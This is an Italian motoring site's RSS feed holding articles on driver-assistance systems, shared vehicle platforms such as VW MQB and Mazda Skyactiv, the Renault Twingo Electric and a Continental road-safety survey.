<p class="wp-block-paragraph"> Utilizzando sistemi di rilevamento più avanzati come LIDAR può rilevare pedoni, ciclisti o animali, anche in condizioni di scarsa aderenza. Può evolversi aggiungendo la funzione di  &#8220;<strong>Multi Collision Brake</strong>&#8221; allargando il suo intervento anche in incidenti dove ci sono più collisioni contemporaneamente. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="658" height="370" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/AEB-AUTONOMUS-EMERGENCY-BRAKING.jpg" alt="AEB AUTONOMUS EMERGENCY BRAKING" class="wp-image-100584" title="ADAS: Parte prima, principi e funzionamento 442" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/AEB-AUTONOMUS-EMERGENCY-BRAKING.jpg 658w, https://www.giornalemotori.com/wp-content/uploads/2020/12/AEB-AUTONOMUS-EMERGENCY-BRAKING-300x169.jpg 300w" sizes="(max-width: 658px) 100vw, 658px" /><figcaption>Crash test EuroNCAP, la Nissan Leaf è la prima  a ricevere 5 stelle nella protezione dei ciclisti

(smtpsrvsdp)
Immagine aeb_cyclist_01_2018_658 da CBALNEXTA host smtpsrvsdp @autore CBALNEXTA</figcaption></figure>



<p class="wp-block-paragraph">Molto importante è il fattore velocità di attivazione del sistema che può andare dai 30/50km/h. Oltre tale valore il sistema non interviene. Altro fattore invece è la velocità minima di intervento del sistema una volta che si è ripartiti da una sosta. Un fattore importante nella marcia a singhiozzo dove il veicolo che precede fa piccoli movimenti prima di arrestarsi. </p>



<p class="wp-block-paragraph"><strong>Il livello 2:</strong> I tre sistemi sopra elencati, se presenti tutti all&#8217;unisono interagiscono uno con l&#8217;altro aumentando il livello di guida autonoma e di sicurezza. Escludere anche solo uno di essi non consente agli altri di lavorare al meglio abbassando il livello di sicurezza del veicolo. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1000" height="707" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/acc.gif" alt="acc" class="wp-image-100586" title="ADAS: Parte prima, principi e funzionamento 443"><figcaption>ADAS: Parte prima, principi e funzionamento 458</figcaption></figure>



<p class="wp-block-paragraph"><strong>Altri sistemi utili da conoscere.</strong></p>



<p class="wp-block-paragraph"><strong>ALC, Adaptive Light Control:</strong> Al livello zero attiva automaticamente i fari anabbaglianti con il sensore crepuscolare <strong>e gestisce automaticamente i fari abbaglianti.</strong> Al livello 1 per veicoli con fari  full Led Matrix modifica il fascio luminoso evitando di abbagliare i veicoli nel senso di marcia opposto. </p>



<p class="wp-block-paragraph"><strong>HDC,  Hill Descend Control: </strong>Controlla l&#8217;auto nelle discese più ripide, coordinando l’azione dei freni attraverso il sistema ESC e mantenendo una velocità di solito inferiore ai 5 km/h. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="700" height="328" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/53234e785df093f8249a3f61beb88531.jpg" alt="53234e785df093f8249a3f61beb88531" class="wp-image-100574" title="ADAS: Parte prima, principi e funzionamento 444" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/53234e785df093f8249a3f61beb88531.jpg 700w, https://www.giornalemotori.com/wp-content/uploads/2020/12/53234e785df093f8249a3f61beb88531-300x141.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/53234e785df093f8249a3f61beb88531-696x326.jpg 696w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>fonte: Harman</figcaption></figure>



<p class="wp-block-paragraph"><strong>DAS, Driving Attention Assist:  </strong>A livello 0, il sistema monitorizza le ore che si passano al volante mostrando un simbolo come la tazzina di caffè o segnale acustico. Al livello 1 il sistema  verifica lo stato del viso attraverso una camera controllando che i movimenti dello sterzo non siano involontari. Il sistema controlla anche l&#8217;uso degli indicatori di direzione, la velocità di immissione nella corsia di accelerazione è se non sono fluidi produce un avviso acustico forte o una vibrazione al sedile o volante.</p>



<p class="wp-block-paragraph"><strong>RTA, Rear Traffic Alert:</strong> Il sistema sfrutta i sensori di parcheggio, quelli del monitoraggio angolo cieco, aiutando il guidatore nelle manovre di retromarcia come le uscite cieche da posteggio con segnalazione acustica o visiva. La livello 1 verifica l’avvicinarsi di pedoni, biciclette o altri veicoli fermando l&#8217;auto.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="640" height="360" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/xuDlcrL40QY.jpg" alt="" class="wp-image-100576" title="ADAS: Parte prima, principi e funzionamento 445" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/xuDlcrL40QY.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/12/xuDlcrL40QY-300x169.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>ADAS: Parte prima, principi e funzionamento 459</figcaption></figure>



<p class="wp-block-paragraph"><strong>TSR Traffic Sign Recognition </strong>Grazie alla presenza della telecamera anteriore il sistema rileva i segnali stradali proiettandoli poi sul display della strumentazione di bordo. I livello 0 fornisce solo segnalazioni visive e acustiche se su supera il limite di velocità. Livello 1 può regolare velocità abbinandosi al cruise control adattivo.</p>



<p class="wp-block-paragraph"><strong>APS,</strong> <strong>Automatic Parking System</strong>.  Ad oggi è l&#8217;unico sistema a poter vantare di essere a seconda dell&#8217;automazione di livello 3 ed addirittura il livello 4. Al livello 0 ci sono solo le segnalazioni provenienti dai sensori di parcheggio ad ultrasuoni. Al livello 1 questi vengono integrati dalla retrocamera con linee guida dinamiche. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="600" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/Parklenkassistent-Parktronic-nachrusten-4.jpg" alt="Parklenkassistent Parktronic nachrusten 4" class="wp-image-100577" title="ADAS: Parte prima, principi e funzionamento 446" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/Parklenkassistent-Parktronic-nachrusten-4.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2020/12/Parklenkassistent-Parktronic-nachrusten-4-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/Parklenkassistent-Parktronic-nachrusten-4-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/Parklenkassistent-Parktronic-nachrusten-4-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/12/Parklenkassistent-Parktronic-nachrusten-4-265x198.jpg 265w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>ADAS: Parte prima, principi e funzionamento 460</figcaption></figure>



<p class="wp-block-paragraph">Salendo di livello vengono utilizzati processori per computer collegati ai sensori e telecamere individuando la zona utile al parcheggio predisponendosi per attivare i comandi ed effettuare la manovra di parcheggio in completa automazione. Questo vale anche per le uscite da parcheggio anche a distanza tramite comando in remoto. Un dettaglio che tratteremo nella seconda parte in modo diffuso. </p>



<p class="wp-block-paragraph"><strong>CTA Cross Traffic Alert:</strong> Tramite l’utilizzo di telecamere e sensori, si attiva quando si sta per attraversare un incrocio, avvisando il guidatore se qualche veicolo si sta avvicinando in maniera pericolosa da dietro l’angolo o da un’altra direzione che il guidatore non può vedere. Si può abbinare anche al sistema che <strong>Aiuta alla svolta assistita:</strong> agendo sui comandi  quando sopraggiungono veicoli dalla direzione opposta.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1000" height="613" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/015.jpg" alt="015" class="wp-image-100579" title="ADAS: Parte prima, principi e funzionamento 447" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/015.jpg 1000w, https://www.giornalemotori.com/wp-content/uploads/2020/12/015-768x471.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/015-300x184.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/015-696x427.jpg 696w" sizes="(max-width: 1000px) 100vw, 1000px" /><figcaption>Mountains car travel.; Shutterstock ID 54025735; Purchase Order: &#8211;</figcaption></figure>



<p class="wp-block-paragraph"><strong>Blind Spot Monitor:  </strong>Controlla presenza di veicoli che sopraggiungono presenti nella zona cieca sfruttando sensori e telecamere montati sugli specchietti. Al livello 0 produce segnalazioni visive oppure facendo vibrare il volante. Al livello 1 interviene sullo sterzo per impedire il passaggio di corsia, abbinandosi al controllo adattivo della corsia di marcia.  Il  sistema può essere utilizzato per avvertire il conducente all’apertura della porta nel caso di veicoli in avvicinamento come i ciclisti. </p>



<p class="wp-block-paragraph"><strong>NVA, Night View Assist:</strong> Utilizza una telecamera ad infrarossi e si integra con il sistema che gestisce i proiettori adattivi. Evidenzia la presenza di oggetti, pedoni, ciclisti sulla strada in condizioni di oscurità determinando le sagome attraverso il monitoraggio del calore dei corpi. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="990" height="542" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/3722744_1514_3rd_gen_vw_touareg_12.jpg" alt="3722744 1514 3rd gen vw touareg 12" class="wp-image-100580" title="ADAS: Parte prima, principi e funzionamento 448" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/3722744_1514_3rd_gen_vw_touareg_12.jpg 990w, https://www.giornalemotori.com/wp-content/uploads/2020/12/3722744_1514_3rd_gen_vw_touareg_12-768x420.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/3722744_1514_3rd_gen_vw_touareg_12-300x164.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/3722744_1514_3rd_gen_vw_touareg_12-696x381.jpg 696w" sizes="(max-width: 990px) 100vw, 990px" /><figcaption>ADAS: Parte prima, principi e funzionamento 461</figcaption></figure>



<p class="wp-block-paragraph"><strong>Avvertenze:</strong> Gli ADAS sono sistemi di assistenza alla guida ed ai livelli più bassi non sostituiscono il guidatore. Averli a bordo non rappresenta ancora la guida autonoma implicando un&#8217;attenzione particolare da parte del conducente. A tal proposito se rilevano la mancata presenza delle mani sul volante avvisano il guidatore dopo pochi secondi. </p>



<p class="wp-block-paragraph">Inoltre è sempre meglio chiedere un test drive specifico per verificare il funzionamento dei sistemi presenti e la facilità di utilizzo in condizioni reali al momento dell&#8217;acquisto. Infine, una volta acquistato un veicolo con la presenza dei sistemi sopra elencati, meglio non staccarli. Il loro intervento non è una lesa maestà delle doti di guida del conducente, ma solo un concreto aiuto in una condizione di pericolo magari sottovalutata. Staccare anche uno solo di loro, impedisce che questi possano agire all&#8217;unisono magari nell&#8217;unica situazione della vita del veicolo che serve a preservare la sicurezza degli occupanti. </p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Le sinergie nell&#8217;auto: il concetto di piattaforme ed architetture condivise</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 26 Nov 2020 13:59:53 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Le aziende che producono automobili non lo fanno per passione. Nei loro organici ci sono ingegneri appassionati di meccanica ed automobili, ma lo scopo dell’industria dell’auto è generare profitto. L&#8217;obiettivo resta quello di generare una forbice la più ampia possibile tra il costo di realizzazione, ed il prezzo finale. Da quando Henry Ford ha creato [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p>Le aziende che producono automobili non lo fanno per passione. Nei loro organici ci sono ingegneri appassionati di meccanica ed automobili, ma lo scopo dell’industria dell’auto è generare profitto.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-99902" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/piattaforme-tecniche-fiat.tipo_.jpg" alt="piattaforme tecniche fiat.tipo" width="962" height="257" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 470" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/piattaforme-tecniche-fiat.tipo_.jpg 962w, https://www.giornalemotori.com/wp-content/uploads/2020/11/piattaforme-tecniche-fiat.tipo_-768x205.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/11/piattaforme-tecniche-fiat.tipo_-300x80.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/11/piattaforme-tecniche-fiat.tipo_-696x186.jpg 696w" sizes="(max-width: 962px) 100vw, 962px" /></p>
<p>L&#8217;obiettivo resta quello di generare una forbice la più ampia possibile tra il costo di realizzazione, ed il prezzo finale. Da quando Henry Ford ha creato la catena di montaggio diffondere a costi accettabili la sua Automobile, si è fatto uso di piattaforme tecniche condivise. Utilizzare una piattaforma tecnica automotive significa spalmare i costi di progettazione, ingegnerizzazione, e produzione rendendoli comuni a più auto contemporaneamente.</p>
<p>Ciò può avvenire all&#8217;interno dello stesso brand ma anche tra marchi differenti e concorrenti tra loro. Gli automobilisti stessi non sono a conoscenza di quanti componenti sono in comune tra le auto che sono anche di segmento e costi molto diversi tra loro.  Ci sono casi in cui la differenza tra vari modelli è solo nel marchio e poco altro. Mentre molti brand usano piattaforme tecniche suddivise in più moduli. Questo per dare origine a vetture che cambiano differiscono nello stile e per quanto possibile anche nel carattere.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-99903" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/jeep-e-fiat-1024x574.jpg" alt="jeep e fiat" width="1024" height="574" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 471"></p>
<p>Una piattaforma tecnica così pensata si divide in varie componenti. Il pianale , che funge da base per elementi strutturali che compongono la scocca. Al pianale si aggiungono due sottoinsiemi come l’assale anteriore e posteriore. Variando questi due elementi per esempio è possibile cambiare una dimensione fondamentale come e l’interasse o il passo della vettura. Poi c&#8217;è la meccanica, intesa come l&#8217;insieme di organi di sterzo e sospensioni. Infine la motorizzazione o come accade di recente la power train ed il suo posizionamento rispetto al pianale.</p>
<p>Lasciando il campo della meccanica, la condivisione si posta è diventa anche più massiccia quando si parla di parti elettroniche. Si possono condividere elementi per il controllo delle funzioni della vettura come centraline, sensori e cablaggi, fino ad interi sistemi per la gestione della sicurezza. Anche la componentistica interna, dai sedili, agli arredi fino ai nuovissimi sistemi multimediali può essere fortemente condivisa.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-99909" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/Fusione-FCA-PSA2-1024x576.jpg" alt="Fusione FCA PSA2" width="1024" height="576" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 472" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/Fusione-FCA-PSA2-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/11/Fusione-FCA-PSA2-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/11/Fusione-FCA-PSA2-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/11/Fusione-FCA-PSA2-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/11/Fusione-FCA-PSA2.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>Se da un lato si costruiscono auto in modo più economico, resta il problema di differenziare i prodotti. Si rischia infatti, di avere tanti prodotti molto simili tra loro, una sorta di mercato dell’auto copia ed incolla.  In questo caso si dice che è una condivisione strutturale.</p>
<p>Fatto sta che i produttori possono aggiornare i propri modelli in modo più rapido ed a costi inferiori. Nel momento in cui lanciano un nuovo modello sul mercato questo può essere disponibile nella versione a 3/5porte, hatchback o berlina sedan, fino a SUV e crossover e persino minivan. Basta avere in comune alcuni pannelli di pavimento e del telaio, ma si può variare il tipo di motore, trasmissione fino a porzioni delle zone di rinforzo come l&#8217;ossatura vano porta, il pianale che determina lo sbalzo posteriore etc.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-99904" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/01-skyactiv-vehicle-architecture.jpg" alt="01 skyactiv vehicle architecture" width="800" height="564" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 473" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/01-skyactiv-vehicle-architecture.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2020/11/01-skyactiv-vehicle-architecture-768x541.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/11/01-skyactiv-vehicle-architecture-300x212.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/11/01-skyactiv-vehicle-architecture-696x491.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>&nbsp;</p>
<p><strong>In questo caso il termine più adatto diventa un&#8217;architettura del veicolo condivisa</strong> . Si crea una base con pochi elementi fissi sui cui vengono istallati moduli di componenti anche con dimensioni e design diversi tra loro. Si ottengono prodotti diversificati senza rinunciare alla flessibilità per avere un&#8217;unica linea di montaggio. Spesso si possono produrre anche vetture dal carattere profondamente diverso dalla Coupè, alla Station Wagon giusto per fare un esempio.</p>
<p>La Skyactiv-Architecture di Mazda ha più un carattere di piattaforma strutturale. La cella abitativa ed il telaio sono piuttosto rigidi ma possono comunque dare vita a due modelli come  Mazda3 quando la Suv-Crossover CX30 anche se con meno flessibilità della concorrenza come vedremo. Anche i moduli delle sospensioni e delle motorizzazioni Skyactiv sono piuttosto simili e standardizzati fra loro. Il costruttore giapponese punta tutto sullo stile, e visti i risultati c&#8217;è da fare i complimenti ai progettisti giapponesi.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-99905" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/mqb-vw-1024x576.jpg" alt="mqb vw" width="1024" height="576" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 474" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/mqb-vw-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/11/mqb-vw-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/11/mqb-vw-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/11/mqb-vw-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/11/mqb-vw.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>Dall&#8217;altra parte c&#8217;è invece chi fa il discorso opposto. E&#8217; il caso di Volkswagen invece adotta una piattaforma che è l’emblema della flessibilità. C&#8217;è una sola misura che rimane fissa e bloccata, quella che intercorre tra asse anteriore e parafiamma, le altre sono tutte variabili. Lo sbalzo anteriore e posteriore, il passo sbalzo e l’altezza della vettura può essere variata passando dalla bassa berlina al SUV-Crossover sulla stessa linea di montaggio.</p>
<p>Questa flessibilità consente di adottare anche sotto-insiemi diversi come  diversi schemi sospensivi a seconda della destinazione finale. Sull&#8217;asse posteriore per esempio viene adottato uno schema a ponte torcente per i modelli più economici ed uno schema multilink per quelli più prestazionali.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-99906" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/4495-volkswagen-modular-architecture-04-528x328-1.jpg" alt="4495 volkswagen modular architecture 04 528x328 1" width="528" height="328" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 475" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/4495-volkswagen-modular-architecture-04-528x328-1.jpg 528w, https://www.giornalemotori.com/wp-content/uploads/2020/11/4495-volkswagen-modular-architecture-04-528x328-1-300x186.jpg 300w" sizes="(max-width: 528px) 100vw, 528px" /></p>
<p>Anche le power train possono essere anche molto diverse tra loro. I motori possono essere benzina, diesel, dai Mild Hybrid ai Plug-in fino alle alimentazioni alternative come il Metano. Si possono usare trasmissioni automatiche, quanto manuali, e trazione anteriore oppure integrali. Insomma al progettista non resta che andare nella dispensa tecnologica del gruppo tedesco, selezionare la sua piattaforma tecnica e comporre le parti in funzione della destinazione finale del mercato. La taratura dei vari componenti selezionati renderà una Volkswagen Golf, diversa da una Audi A3.</p>
<p>Visto che il futuro è dietro l&#8217;angolo i progettisti di Volkswagen, ma in questo caso sono in buona compagnia visto che anche PSA ha fatto lo stesso discorso, tali architetture modulari sono adattabili senza problemi anche alla trazione elettrica. Sono previsti fin dall&#8217;origine di vano e parti della scocca per ospitare batteria, cablaggi e motori elettrici. Anzi proprio l&#8217;automobile elettrica per sua stessa semplicità costruttiva intrinseca si adatta alla perfezione ad essere prodotta in moduli.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-99908" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/volkswagen-group-s-mqb-platform-explained-78771-7.jpg" alt="volkswagen group s mqb platform explained 78771 7" width="600" height="330" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 476" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/volkswagen-group-s-mqb-platform-explained-78771-7.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2020/11/volkswagen-group-s-mqb-platform-explained-78771-7-300x165.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>A parte, qualche colosso giapponese che ha deciso di lanciare una linea di prodotto completamente dedicata ed unica come la Honda per la sua piccola cittadina, molti costruttori adotteranno soluzioni talmente simili che le vetture saranno diverse per stile, allestimenti e capacità di rendere la vita a bordo degli occupanti più confortevole e connessa possibile.</p>
<p>Ci sono però anche brand che non hanno le potenzialità per fare tutto da soli. Allora ci si affida ai colossi della componentistica. Produttori come Zf, Magna, Valeo, Continental creano veri e propri moduli per adattarsi ad ogni piattaforma tecnica già esistente.</p>
<p><figure id="attachment_99910" aria-describedby="caption-attachment-99910" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-99910 size-large" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/ZF_REN_System-Sportlimousine_2018-04-09-1024x512.png" alt="Immagine sul sito ZF per la scelta di moduli per la progettazione di un automobile" width="1024" height="512" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 477" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/ZF_REN_System-Sportlimousine_2018-04-09-1024x512.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/11/ZF_REN_System-Sportlimousine_2018-04-09-768x384.png 768w, https://www.giornalemotori.com/wp-content/uploads/2020/11/ZF_REN_System-Sportlimousine_2018-04-09-300x150.png 300w, https://www.giornalemotori.com/wp-content/uploads/2020/11/ZF_REN_System-Sportlimousine_2018-04-09-696x348.png 696w, https://www.giornalemotori.com/wp-content/uploads/2020/11/ZF_REN_System-Sportlimousine_2018-04-09.png 1129w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-99910" class="wp-caption-text">Immagine sul sito ZF per la scelta di moduli per la progettazione di un automobile</figcaption></figure></p>
<p>Quindi un automobilista dovrà rassegnarsi a guidare la stessa auto con un brand diverso sul cofano? Per i modelli che fanno parte di una unica galassia come i mega gruppi tipo Volkswagen o la neo nata Stellantis, almeno su strada la differenza sarà veramente poca e percepibile da palati sopraffini. I progettisti giurano di lavorare sui dettagli per fornire un carattere unico alla loro vettura agendo sulla taratura della componentistica che può essere regolata per avere un diverso carattere.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-99911" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/MEB-e-modelli-1024x488-1.jpg" alt="MEB e modelli 1024x488 1" width="1024" height="488" title="Le sinergie nell&#039;auto: il concetto di piattaforme ed architetture condivise 478" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/11/MEB-e-modelli-1024x488-1.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/11/MEB-e-modelli-1024x488-1-768x366.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/11/MEB-e-modelli-1024x488-1-300x143.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/11/MEB-e-modelli-1024x488-1-696x332.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>Elementi come sospensioni, elettronica di gestione, trasmissione possono essere variati nella loro messa appunto e possono fare la differenza tra un prodotto e l’altro. Il giorno in cui faremo un click per selezionare il modello che ci interessa, configurare gli accessori, magari verificando le prestazioni ed i consumi con una lettera dell’alfabeto per poi aspettare che ci venga consegnata a casa, è ancora lontano. Forse!</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Twingo Electric, una novità tutta da scoprire</title>
		<link>https://www.giornalemotori.com/2020/11/24/twingo-electric-una-novita-tutta-da-scoprire/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=twingo-electric-una-novita-tutta-da-scoprire</link>
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		<dc:creator><![CDATA[Redazione GiornaleMotori]]></dc:creator>
		<pubDate>Tue, 24 Nov 2020 08:00:24 +0000</pubDate>
				<category><![CDATA[Novità Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[auto]]></category>
		<category><![CDATA[Renault]]></category>
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					<description><![CDATA[<p>La pandemia ci ha cambiati, l&#8217;attenzione che prestiamo all&#8217;ambiente è aumentata. Renault non si è fatta trovare impreparata e presenta sul mercato la nuova Twingo full Electric, perfetta per i percorsi urbani. La city car simbolo della casa automobilistica francese, porta ora sul mercato la combo perfetta tra comfort nella guida e performance. Le novità [&#8230;]</p>
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										<content:encoded><![CDATA[<p>La pandemia ci ha cambiati, l&#8217;attenzione che prestiamo all&#8217;ambiente è aumentata. Renault non si è fatta trovare impreparata e presenta sul mercato la nuova Twingo full Electric, perfetta per i percorsi urbani. La city car simbolo della casa automobilistica francese, porta ora sul mercato la combo perfetta tra comfort nella guida e performance.</p>
<p>Le novità sono moltissime, quindi senza perdere tempo vediamo le principali. I punti di forza riguardano soprattutto la maneggevolezza durante la guida. Grazie alla vivacità elettrizzante del suo motore, R80 con 60 kw di potenza, consente di raggiungere l&#8217;accelerazione da 0 a 50km/h in soli 4 secondi.</p>
<p>La vera novità di questa macchina, risiede nella rapidità di ricarica del veicolo. E&#8217; sufficiente una pausa di mezz’ora collegata a una colonnina da 22 kW per acquisire fino a 80 chilometri di autonomia in ciclo misto, tale autonomia consente di effettuare spostamenti urbani fino a una settimana senza ricaricare.</p>
<p>Compatta all&#8217;esterno ma grande dentro, questo nuovo modello continua a mantenere tutte le caratteristiche delle auto a motore termico. L&#8217;allerta pedoni e l&#8217;offerta Renault Easy Connect, per una mobilità connessa, sia dentro che fuori dal veicolo, ne sono un esempio.</p>
<p>Twingo Electric riprende il design sbarazzino, la personalità frizzante e il potenziale di personalizzazione unico di Twingo, arricchendoli di dettagli che valorizzano e sottolineano i vantaggi di un&#8217;auto elettrica.</p>
<p>Perfettamente adatta nel contesto urbano, grazie alla sua compattezza, Twingo Electric si presenta come la scelta ideale per chi vuole puntare su un&#8217;auto amica dell&#8217;ambiente ma allo stesso tempo performante.</p>
<p><img decoding="async" class="alignnone size-medium wp-image-99833" src="https://www.giornalemotori.com/wp-content/uploads//2020/11/twing-200x300.jpeg" alt="twing" width="200" height="300" title="Twingo Electric, una novità tutta da scoprire 480"><em> «Al passo con i tempi, Twingo Electric accompagna la transizione energetica della nostra mobilità … a modo suo: grazie alla motorizzazione elettrica, la personalità e i vantaggi ben noti di Twingo non possono che risaltare ancor di più!» </em><em> </em></p>
<p><strong>Stéphane Wiscart, Vicedirettore Programma Renault Twingo </strong></p>
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		<title>Continental: 2° osservatorio nazionale sulla mobilità e sicurezza</title>
		<link>https://www.giornalemotori.com/2020/10/12/continental-2-osservatorio-nazionale-sulla-mobilita-e-sicurezza/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=continental-2-osservatorio-nazionale-sulla-mobilita-e-sicurezza</link>
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		<dc:creator><![CDATA[Redazione GiornaleMotori]]></dc:creator>
		<pubDate>Mon, 12 Oct 2020 05:00:18 +0000</pubDate>
				<category><![CDATA[Novità Auto]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[auto]]></category>
		<category><![CDATA[mobilità]]></category>
		<category><![CDATA[sicurezza]]></category>
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					<description><![CDATA[<p>La pandemia ci ha cambiati, e non solo dal punto di vista delle relazioni sociali e del lavoro da remoto, ma anche per quanto riguarda i trasporti. Il secondo osservatorio nazionale sulla mobilità e la sicurezza in strada di Continental, marchio presente da oltre 140 anni nel settore degli pneumatici e della tecnologia, ha fotografato [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p>La pandemia ci ha cambiati,</p>
<p>e non solo dal punto di vista delle relazioni sociali e del lavoro da remoto, ma anche per quanto riguarda i trasporti. Il secondo osservatorio nazionale sulla mobilità e la sicurezza in strada di Continental, marchio presente da oltre 140 anni nel settore degli pneumatici e della tecnologia, ha fotografato il vissuto e le aspettative degli italiani nel settore automotive.</p>
<p>Ad oggi il 65% degli intervistati dalla ricerca di Continental, dichiara, di prediligere l’auto per gli spostamenti, perché più sicura. Il 15% è orientato verso monopattini elettrici o biciclette. Giocano un ruolo fondamentale, in questo caso, gli incentivi da parte del governo, che interesserebbero il 64% dei cittadini a cambiare la propria vettura.</p>
<p>Ad evitare l’utilizzo dei mezzi sono soprattutto gli over 65, la categoria più esposta al virus. Bici e monopattini vengo scelti prevalentemente da i residenti nelle grandi città. E’ infatti solamente il 2,7% dei cittadini  che si sente sicuro nel prendere i mezzi pubblici.</p>
<p>Lo spostamento dal treno all&#8217;auto ha portato ad un cambiamento sulla sensibilità verso le tematiche ambientali, giudicate dagli intervistati come un priorità durante l&#8217;emergenza sanitaria in corso. Ora si presta più attenzione alle proprie scelte e si prediligono veicoli ibridi o elettrici, così dichiara il 78,7% dei cittadini italiani. I più sensibili a queste tematiche rimangono i giovani e i motociclisti, proiettati verso un futuro più ecologico.</p>
<p>Si stima infatti che nel 2030 la mobilità smart assorbirà il 12% della forza lavoro italiana, per un valore di ben 220 miliardi.</p>
<p>Troviamo, invece, un dato negativo nella percezione della sicurezza in strada, -12% rispetto allo scorso anno. I fattori determinanti la prevenzione dei rischi al volante, fanno capo alle capacità del guidatore, i freni, i sensori di guida assistita e gli pneumatici.</p>
